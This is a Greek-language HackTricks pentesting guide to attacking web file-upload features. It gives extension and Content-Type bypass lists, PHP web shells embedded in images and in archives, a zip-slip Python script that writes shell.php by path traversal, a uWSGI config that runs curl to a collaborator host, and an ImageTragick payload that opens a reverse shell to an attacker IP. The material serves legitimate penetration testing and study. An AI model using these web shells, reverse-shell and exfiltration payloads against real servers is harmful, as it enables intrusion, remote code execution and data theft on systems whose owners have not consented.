File Upload

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και να χακεύετε το αχακέυτο - σας προσλαμβάνουμε! (απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής).

Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων

Άλλες χρήσιμες επεκτάσεις:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

  • Λειτουργία στο PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

  • Flash: .swf

  • Perl: .pl, .cgi

  • Erlang Yaws Web Server: .yaws

Παράκαμψη ελέγχων επεκτάσεων αρχείων

  1. Αν εφαρμόζονται, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε τις χρησιμοποιώντας κάποια κεφαλαία γράμματα: pHp, .pHP5, .PhAr ...

  2. Ελέγξτε προσθέτοντας μια έγκυρη επέκταση πριν από την εκτελέσιμη επέκταση (χρησιμοποιήστε επίσης τις προηγούμενες επεκτάσεις):

  • file.png.php

  • file.png.Php5

  1. Δοκιμάστε να προσθέσετε ειδικούς χαρακτήρες στο τέλος. Μπορείτε να χρησιμοποιήσετε το Burp για να δοκιμάσετε όλους τους χαρακτήρες ascii και Unicode. (Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις προηγούμενες αναφερθείσες επεκτάσεις)

  • file.php%20

  • file.php%0a

  • file.php%00

  • file.php%0d%0a

  • file.php/

  • file.php.\

  • file.

  • file.php....

  • file.pHp5....

  1. Δοκιμάστε να παρακάμψετε τις προστασίες εξαπατώντας τον αναλυτή επέκτασης της πλευράς του διακομιστή με τεχνικές όπως η διπλασιασμός της επέκτασης ή η προσθήκη ανώμαλων δεδομένων (μηδενικά bytes) μεταξύ των επεκτάσεων. Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες επεκτάσεις για να ετοιμάσετε ένα καλύτερο φορτίο.

  • file.png.php

  • file.png.pHp5

  • file.php#.png

  • file.php%00.png

  • file.php\x00.png

  • file.php%0a.png

  • file.php%0d%0a.png

  • file.phpJunk123png

  1. Προσθέστε έναν ακόμη επίπεδο επεκτάσεων στον προηγούμενο έλεγχο:

  • file.png.jpg.php

  • file.php%00.png%00.jpg

  1. Δοκιμάστε να τοποθετήσετε την εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση και ελπίστε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για εκμετάλλευση κακοδιαμορφωμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση .php, αλλά όχι απαραίτητα τελειώνει σε .php** θα εκτελέσει κώδικα):

  • π.χ.: file.php.png

  1. Χρήση NTFS alternate data stream (ADS) στα Windows. Σε αυτήν την περίπτωση, ένας χαρακτήρας κολωνάκι “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα κενό αρχείο με την απαγορευμένη επέκταση στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματός του. Το πρότυπο “::$data” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός τελείας μετά από αυτό το πρότυπο ενδέχεται επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (π.χ. “file.asp::$data.”)

  2. Δοκιμάστε να χωρίσετε τα όρια ονομάτων αρχείων. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP παραμένει. AAA<--SNIP-->AAA.php

# Μέγιστο 255 bytes στο Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # αφαιρέστε 4 εδώ και προσθέστε .png
# Μεταφορτώστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Δημιουργήστε το φορτίο
AAA<--SNIP 232 A-->AAA.php.png

Παράκαμψη Ελέγχων Τύπου Περιεχομένου, Magic Number, Συμπίεση & Αλλαγή Μεγέθους

  • Παράκαμψη των ελέγχων Content-Type με τοποθέτηση της τιμής του header Content-Type σε: image/png, text/plain , application/octet-stream

  • Παράκαμψη του ελέγχου magic number προσθέτοντας στην αρχή του αρχείου τα bytes ενός πραγματικού εικονικού αρχείου (για να μπερδέψετε την εντολή file). Ή εισάγετε το shell μέσα στα μεταδεδομένα: exiftool -Comment="<?php echo 'Εντολή:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg Ή μπορείτε επίσης να εισάγετε το φορτίο απευθείας σε μια εικόνα: echo '<?php system($_REQUEST['cmd']); ?>' >> img.png

  • Αν προστίθεται συμπίεση στην εικόνα σας, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως η PHP-GD, οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το PLTE chunk τεχνική που ορίζεται εδώ για να εισάγετε κείμενο που θα επιβιώσει στη συμπίεση.

  • Η ιστοσελίδα ενδέχεται να αλλάζει το μέγεθος της εικόνας, χρησιμοποιώντας για παράδειγμα τις λειτουργίες PHP-GD imagecopyresized ή imagecopyresampled. Ωστόσο, μπορείτε να χρησιμοποιήσετε το IDAT chunk τεχνική που ορίζεται εδώ για να εισάγετε κείμενο που θα επιβιώσει στη συμπίεση.

  • Μια άλλη τεχνική για να δημιουργήσετε ένα φορτίο που επιβιώνει σε μια αλλαγή μεγέθους της εικόνας, χρησιμοποιώντας τη λειτουργία PHP-GD thumbnailImage. Ωστόσο, μπορείτε να χρησιμοποιήσετε το tEXt chunk τεχνική που ορίζεται εδώ για να εισάγετε κείμενο που θα επιβιώσει στη συμπίεση.

Άλλα Κόλπα για Έλεγχο

  • Βρείτε μια ευπάθεια για να μετονομάσετε το ήδη ανεβασμένο αρχείο (για να αλλάξετε την επέκταση).

  • Βρείτε μια ευπάθεια Τοπικής Συμπερίληψης Αρχείου για να εκτελέσετε την πίσω πόρτα.

  • Πιθανή διαρροή πληροφοριών:

  1. Ανεβάστε αρκετές φορές (και την ίδια στιγμή) το ίδιο αρχείο με το ίδιο όνομα

  2. Ανεβάστε ένα αρχείο με το όνομα ενός αρχείου ή φακέλου που υπάρχει ήδη

  3. Ανεβάστε ένα αρχείο με “.”, “..”, ή “…” ως όνομά του. Για παράδειγμα, στο Apache σε Windows, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον κατάλογο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον κατάλογο “/www/”.

  4. Ανεβάστε ένα αρχείο που δεν μπορεί να διαγραφεί εύκολα όπως το “…:.jpg” στο NTFS (Windows).

  5. Ανεβάστε ένα αρχείο στα Windows με μη έγκυρους χαρακτήρες όπως |<>*?” στο όνομά του. (Windows)

  6. Ανεβάστε ένα αρχείο στα Windows χρησιμοποιώντας απαγορευμένα ονόματα (απαγορευμένα) όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.

  • Δοκιμάστε επίσης να ανεβάσετε ένα εκτελέσιμο αρχείο (.exe) ή ένα .html (λιγότερο ύποπτο) που θα εκτελέσει κώδικα όταν ανοιχτεί κατά λάθος από το θύμα.

Ειδικά κόλπα επέκτασης

Αν προσπαθείτε να ανεβάσετε αρχεία σε ένα διακομιστή PHP, ρίξτε μια ματιά στο κόλπο με το .htaccess για να εκτελέσετε κώδικα. Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν διακομιστή ASP, ρίξτε μια ματιά στο κόλπο με το .config για να εκτελέσετε κώδικα.

Τα αρχεία .phar είναι σαν τα .jar για τη Java, αλλά για τη PHP, και μπορούν να χρησιμοποιηθούν όπως ένα αρχείο php (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα σενάριο...)

Η επέκταση .inc χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για το εισαγωγή αρχείων, έτσι, σε κάποιο σημείο, κάποιος θα μπορούσε να επιτρέψει αυτή την επέκταση να εκτελεστεί.

Εκτέλεση Κώδικα μέσω Jetty RCE

Αν μπορείτε να ανεβάσετε ένα αρχείο XML σε ένα διακομιστή Jetty μπορείτε να αποκτήσετε RCE επειδή νέα *.xml και *.war επεξεργάζονται αυτόματα. Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο $JETTY_BASE/webapps/ και περιμένετε το shell!

Εκτέλεση Κώδικα μέσω uWSGI RCE

Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: Εκμετάλλευση RCE στο uWSGI.

Οι ευπάθειες Εκτέλεσης Απομακρυσμένων Εντολών (RCE) μπορούν να εκμεταλλευτούνται σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης .ini. Τα αρχεία ρύθμισης uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, συμβολοσειρές και τελεστές. Ειδικότερα, ο τελεστής '@', που χρησιμοποιείται ως @(αρχείο), σχεδιάστηκε για να συμπεριλάβει τα περιεχόμενα ενός αρχείου. Ανάμεσα στις διάφορες υποστηριζόμενες σχήματα στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο ενός διεργασίας. Αυτό το χαρακτηριστικό μπορεί να χρησιμοποιηθεί για κ

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από κάποιο σφάλμα ή λόγω επίθεσης DoS) είτε το αρχείο πρέπει να οριστεί για αυτόματη επαναφόρτωση. Η λειτουργία αυτόματης επαναφόρτωσης, εάν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα χρονικά διαστήματα κατά την ανίχνευση αλλαγών.

Είναι κρίσιμο να κατανοήσετε την χαλαρή φύση της ανάλυσης αρχείου ρυθμίσεων του uWSGI. Ειδικότερα, το συζητούμενο payload μπορεί να ενσωματωθεί σε ένα δυαδικό αρχείο (όπως ένα εικονίδιο ή PDF), επεκτείνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.

Κόλπος Μεταφόρτωσης Αρχείου/SSRF με το wget

Σε ορισμένες περιπτώσεις μπορείτε να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί το wget για κατέβασμα αρχείων και μπορείτε να υποδείξετε το URL. Σε αυτές τις περιπτώσεις, ο κώδικας ενδέχεται να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων βρίσκεται εντός λευκής λίστας για να διασφαλιστεί ότι θα κατέβουν μόνο επιτρεπόμενα αρχεία. Ωστόσο, αυτός ο έλεγχος μπορεί να παρακαμφθεί. Το μέγιστο μήκος ενός ονόματος αρχείου στο Linux είναι 255, ωστόσο, το wget περικόπτει τα ονόματα αρχείων σε 236 χαρακτήρες. Μπορείτε να κατεβάσετε ένα αρχείο με το όνομα "A"*232+".php"+".gif", αυτό το όνομα αρχείου θα παρακάμψει τον έλεγχο (όπως σε αυτό το παράδειγμα το ".gif" είναι μια έγκυρη επέκταση) αλλά το wget θα το μετονομάσει σε "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Σημειώστε ότι μια άλλη επιλογή που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον HTTP server να ανακατευθύνει σε διαφορετικό αρχείο, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και τότε το wget θα κατεβάσει το ανακατευθυνθέν αρχείο με το νέο όνομα. Αυτό δεν θα λειτουργήσει εκτός αν το wget χρησιμοποιείται με τη παράμετρο --trust-server-names επειδή το wget θα κατεβάσει την ανακατευθυνθείσα σελίδα με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL.

Εργαλεία

  • Το Upload Bypass είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθήσει τους Ελεγκτές Ασφάλειας και τους Κυνηγούς Κενών στον έλεγχο μηχανισμών μεταφόρτωσης αρχείων. Χρησιμοποιεί διάφορες τεχνικές ανταμοιβής ευρημάτων για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας πλήρεις αξιολογήσεις των web εφαρμογών.

Από τη μεταφόρτωση αρχείων σε άλλες ευπαθείες

Εδώ είναι μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από εδώ):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE

  2. SVG: Αποθηκευμένο XSS / SSRF / XXE

  3. GIF: Αποθηκευμένο XSS / SSRF

  4. CSV: Εισαγωγή CSV

  5. XML: XXE

  6. AVI: LFI / SSRF

  7. HTML / JS : Εισαγωγή HTML / XSS / Ανοικτή ανακατεύθυνση

  8. PNG / JPEG: Επίθεση πλημμύρας pixel (DoS)

  9. ZIP: RCE μέσω LFI / DoS

  10. PDF / PPTX: SSRF / BLIND XXE

Επέκταση Burp

Μαγικά Bytes Κεφαλίδας

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["

  • JPG: "\xff\xd8\xff"

Ανατρέξτε στο https://en.wikipedia.org/wiki/List_of_file_signatures για άλλους τύπους αρχείων.

Αυτόματη αποσυμπίεση αρχείου Zip/Tar

Αν μπορείτε να μεταφορτώσετε ένα ZIP που θα αποσυμπιέζεται μέσα στον διακομιστή, μπορείτε να κάνετε 2 πράγματα:

Σύνδεσμος συμβολικού συνδέσμου

Μεταφορτώστε ένα σύνδεσμο που περιέχει μαλακούς συνδέσμους σε άλλα αρχεία, στη συνέχεια, αποκτώντας πρόσβαση στα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα συνδεδεμένα αρχεία:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Αποσυμπίεση σε διαφορετικούς φακέλους

Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση αποτελεί ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύσει ενάντια στην εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων μεταφορτώσεων αρχείων, η ιεραρχική υποστήριξη συμπίεσης και οι δυνατότητες διάβασης καταλόγων του μορφώματος αρχείων ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να δραπετεύσουν από ασφαλείς καταλόγους μεταφόρτωσης με τη χρήση της λειτουργικότητας αποσυμπίεσης της εφαρμογής που επηρεάζεται.

Ένα αυτοματοποιημένο εργαλείο εκμετάλλευσης για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο evilarc στο GitHub. Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Επιπλέον, η συμβολική σύνδεση με το evilarc είναι μια επιλογή. Αν το στόχος είναι να στοχευθεί ένα αρχείο όπως το /flag.txt, πρέπει να δημιουργηθεί μια συμβολική σύνδεση σε αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.

Παρακάτω υπάρχει ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία επικίνδυνου αρχείου zip:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Κατάχρηση συμπίεσης για file spraying

Για περισσότερες λεπτομέρειες ελέγξτε την αρχική δημοσίευση στο: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Δημιουργία PHP Shell: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνιούνται μέσω της μεταβλητής $_REQUEST.

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying και Δημιουργία Συμπιεσμένου Αρχείου: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα αρχείο zip που περιέχει αυτά τα αρχεία.

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Τροποποίηση με Hex Editor ή vi: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας το vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για διάσχιση καταλόγων.

:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Μεταφορτώστε αυτό το περιεχόμενο με μια επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια (ImageMagick, 7.0.1-1) (από το exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Ενσωμάτωση PHP Shell σε PNG

Η ενσωμάτωση ενός PHP shell στο κομμάτι IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις imagecopyresized και imagecopyresampled από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συχνά για τη μετατροπή μεγέθους και την επαναδειγματοληψία εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για συγκεκριμένες περιπτώσεις χρήσης.

Μια λεπτομερής εξερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας της και των δυνητικών εφαρμογών της, παρέχεται στο ακόλουθο άρθρο: "Κωδικοποίηση Web Shells σε κομμάτια IDAT του PNG". Αυτός ο πόρος προσφέρει μια σφαιρική κατανόηση της διαδικασίας και των επιπτώσεών της.

Περισσότερες πληροφορίες στο: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Αρχεία Πολύγλωττα

Τα πολύγλωττα αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το GIFAR, ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.

Η βασική χρησιμότητα των πολύγλωττων αρχείων βρίσκεται στη δυνατότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την επιτροπή μόνο συγκεκριμένων τύπων αρχείων για μεταφόρτωση - όπως JPEG, GIF ή DOC - για να μειώσει τον κίνδυνο που αποτελούν πιθανώς επιβλαβείς μορφές (π.χ. JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολύγλωττο, με το να συμμορφώνεται με τα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτούς τους περιορισμούς.

Παρά την προσαρμοστικότητά τους, τα πολύγλωττα αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολύγλωττο ενδέχεται να ενσωματώνει ταυτόχρονα ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της μεταφόρτωσής του ενδέχεται να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολύγλωτου ενδέχεται να μην είναι αρκετή για να εξασφαλίσει τη μεταφόρτωσή του.

Περισσότερες πληροφορίες στο: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Αναφορές

Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και το χάκαρισμα του αδιάρρηκτου - προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού).

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated